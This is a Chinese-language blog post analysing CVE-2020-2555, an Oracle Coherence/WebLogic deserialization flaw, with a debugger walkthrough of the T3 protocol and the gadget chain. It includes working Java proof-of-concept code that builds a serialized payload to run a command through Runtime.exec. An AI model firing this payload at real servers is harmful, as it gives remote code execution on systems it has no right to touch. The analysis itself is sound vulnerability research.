
在對Java Web應用程序進行研究時,不安全的反序列化漏洞已經成為了攻擊者或研究人員的常見目標了。這些漏洞將導致他人在目標設備上可靠地實現遠程代碼執行,而且這類漏洞通常很難修復。
2020年3月6日Weblogic公開了該漏洞,這是一個嚴重漏洞,CVSS評分為9.8,該漏洞將影響Oracle Coherence庫,而這個庫在Oracle WebLogic Server等流行產品中都有廣泛使用。
此次受影響版本:
- Oracle Coherence 3.7.1.17
- Oracle Coherence 12.1.3.0.0
- Oracle Coherence 12.2.1.3.0.0
- Oracle Coherence 12.2.1.4.0.0
本文目標
1、學習T3協議、Java反序列化在網絡傳輸時流量特征;
2、理解漏洞形成的原因Gadget,學習poc構造技巧;
3、為下一步利用該洞做回顯准備。

調試分析
POC:https://github.com/Y4er/CVE-2020-2555
JDK:1.8.131
IDEA:2019.3.3
Weblogic:12.2.1.3.0.0
運行weblogic_t3.py通過t3協議發送序列化的payload
POC去除無關行后約30行,如下:
String cmd = "calc"; //定義多次轉換鏈進行反射調用 ValueExtractor[] valueExtractors = new ValueExtractor[]{ new ReflectionExtractor("getMethod", new Object[]{ "getRuntime", new Class[0] }), new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}), new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}}) }; //初始化LimitFiler類實例 LimitFilter limitFilter = new LimitFilter(); limitFilter.setTopAnchor(Runtime.class); BadAttributeValueExpException expException = new BadAttributeValueExpException(null); Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator"); m_comparator.setAccessible(true); m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors)); Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop"); m_oAnchorTop.setAccessible(true); m_oAnchorTop.set(limitFilter, Runtime.class); //將limitFilter放入BadAttributeValueExpException的val屬性中 Field val = expException.getClass().getDeclaredField("val"); val.setAccessible(true); val.set(expException, limitFilter); //生成序列化payload ObjectOutputStream objectOutputStream = new ObjectOutputStream(null); objectOutputStream.writeObject(expException); objectOutputStream.close();
1、關於T3協議部分

發包后,用wireshark抓包,發送的第一個包為T3協議頭,T3協議頭為t3 12.2.1\nAS:255\nHL:19”,第一行為"t3"加weblogic客戶端的版本號。

Weblogic服務器的返回數據為"HELO:12.2.1.3.false\nAS:2048\nHL:19",第一行為“HELO:”加Weblogic服務器的版本號。Weblogic客戶端與服務器發送的數據均以“\n\n”結尾。

Weblogic_t3.py向Weblogic發送了T3協議頭的數據包,然后讀取序列化數據進行發送。
在數據中查找JAVA序列化魔術頭部ac ed 00 05 可以發現出現多處,觀察到T3協議使用jre的原生ObjectOutputStream。

exp被切割為多段傳輸,以fe 01 00 00 隔開。

2、T3協議反序列化執行
將斷點設在T3入口,InboundMsgAbbrev#readObject( );
第47行ServerChannelInputStream(其父類為ObjectInputStream)的構造方法,將MsgAbbrevInputStream的in實例轉為ObjectInputStream類型。

上圖第47行末尾是關鍵,調用ObjectInputStream#readObject( ),來到80行,super(in)將執行Object類初始化。

至此,成功進入jre原生反序列化ObjectInputStream.readObject( )。接下來將進入BadAttributeValueExpException#readObject( ),(惡意變量被取出,結合POC第25行理解)。在ysoserial的CommonsCollections5的gadget最外層的入口即為該類,因為security manager為null的情況下(下圖第78行)將進入if分支,調用LimitFilter #tostring( )。

3、coherence.jar反序列化執行
惡意數據傳入weblogic代碼部分,
coherence.jar!com/tangosol/util/filter/LimitFilter類。
注意力集中
coherence.jar!com/tangosol/util/filter/LimitFilter #tostring。
那么接下來將獲取到該類的m_comparator成員屬性(惡意變量被取出,結合POC第17行理解),並調用其extract函數,因為limitfilter實例由我們poc中提供,因此this.m_oAnchorTop可控(惡意變量被取出,結合POC第20行理解)。

chained從字面意思上來理解就是其肯定存在一個為數組類型的成員屬性保存一組Extractor來依次調用其extract函數,並將調用結果返回(注意理解第34行oTarget迭代)。

那么在poc中chainedExtractor中存放的為coherence.jar中的com/tangosol/util/extractor/ReflectionExtractor類的實例,其extract函數中也正是實現了任意方法的調用,注意到59行傳入2個參數(第一個參數是方法屬於的對象,第二個可變參數是該方法的參數),其中方法名this.m_sMethod和對應的參數值this.m_aoParam都是可控的(惡意變量被取出,結合POC第4-8行理解)。

invoke表示,調用包裝在當前Method對象中的方法。

第一回,反射調用Runtime類getmethod方法(結合POC第20行理解),返回值為 Method類型的getruntime方法(見上圖第59行)
第二回,我們希望反射調用invoke函數,getruntime方法已准備好,故可執行invoke得到Runtime類的實例,這就是為什么構造this.m_sMethod=invoke(即為poc第7行invoke)。

第三回,經過前面2次積累,有了Runtime實例,因此可調用exec方法執行命令。構造this.m_sMethod=exec(即為poc第8行exec),實驗結束。


4、chainedExtractor鏈式調用反射
(1)補充oTarget的3次變化(class->method->instance)

(2)補充method變量的3次變化(class->method->instance)

相關借閱
1、Y4er/CVE-2020-2555:https://github.com/Y4er/CVE-2020-2555
2、Java Method類:http://www.51gjie.com/java/796.html
3、反序列化漏洞分析(CVE-2020-2555):https://lucifaer.com/
今天的文章分享,小伙伴們看懂了嗎?